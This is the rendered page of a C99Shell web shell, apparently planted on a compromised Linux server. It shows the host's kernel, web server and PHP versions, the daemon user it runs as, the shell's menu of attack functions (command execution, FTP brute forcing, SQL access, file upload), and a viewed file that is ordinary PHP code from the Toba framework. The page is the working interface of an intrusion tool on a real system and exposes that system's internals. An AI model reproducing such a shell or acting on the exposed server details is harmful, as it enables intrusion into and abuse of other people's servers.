!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/modelo/personalizacion/xml/   drwxr-xr-x
Free 14.6 GB of 61.93 GB (23.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     toba_pers_xml_generador_tablas.php (2.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class toba_pers_xml_generador_tablas extends toba_pers_xml_generador {

    function 
generar_tablas($path, &$data)
    {
        
// Se agrega por uniformidad de los planes de tablas y componentes
        
$this->plan->abrir_elemento(toba_pers_xml_elementos::modificadas);

        foreach (
array_keys($data) as $tabla) {
            
$path_tabla $this->get_path_tabla(''$tabla);
            
$this->agregar_al_plan($tabla$path_tabla);
            
$this->generar_tabla($this->get_path_tabla($path$tabla), $tabla$data[$tabla]);
        }
        
        
$this->plan->cerrar_elemento();
    }

    protected function 
get_path_tabla($path_inicial$tabla)
    {
        
$candidato str_replace('%id%'$tabla
                                 
toba_personalizacion::template_archivo_tabla);

        
$valido toba_manejador_archivos::nombre_valido($candidato);
        return 
$path_inicial.$valido;
    }

    protected function 
generar_tabla($path$nombre_tabla, &$tabla)
    {
        
$xml =  new toba_xml($path);
        
$xml->abrir_elemento(toba_pers_xml_elementos::tabla);
        
$xml->add_atributo(toba_pers_xml_atributos::id$nombre_tablatrue);

        
// el contenido es el array con metadata de estado, clave y data
        
foreach (array_keys($tabla) as $key_contenido) {    
            
$estado $tabla[$key_contenido]['estado'];

            
$xml->abrir_elemento(toba_pers_xml_elementos::registro);
            
$xml->add_atributo(toba_pers_xml_atributos::estado$estadotrue);
            
            if (
$this->grabo_clave($estado)) {
                
$xml->add_atributo(toba_pers_xml_atributos::clave$tabla[$key_contenido]['clave'], true);
            }

            foreach (
array_eliminar_nulls($tabla[$key_contenido]['data']) as $columna => $valor) {
                
$xml->abrir_elemento(toba_pers_xml_elementos::columna);
                
$xml->add_atributo(toba_pers_xml_atributos::nombre$columnatrue);

                if (
$estado == toba_personalizacion::registro_updated) {
                    
$xml->add_atributo(toba_pers_xml_atributos::valor$valor['actual'], true);
                    
$xml->add_atributo(toba_pers_xml_atributos::valor_original$valor['original'], true);
                } else {    
// es un registro nuevo
                    
$xml->add_atributo(toba_pers_xml_atributos::valor$valortrue);
                }

                
$xml->cerrar_elemento();
            }

            
$xml->cerrar_elemento();
        }
        
        
$xml->cerrar_elemento();
        
$xml->cerrar_documento();
    }


}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.596 ]--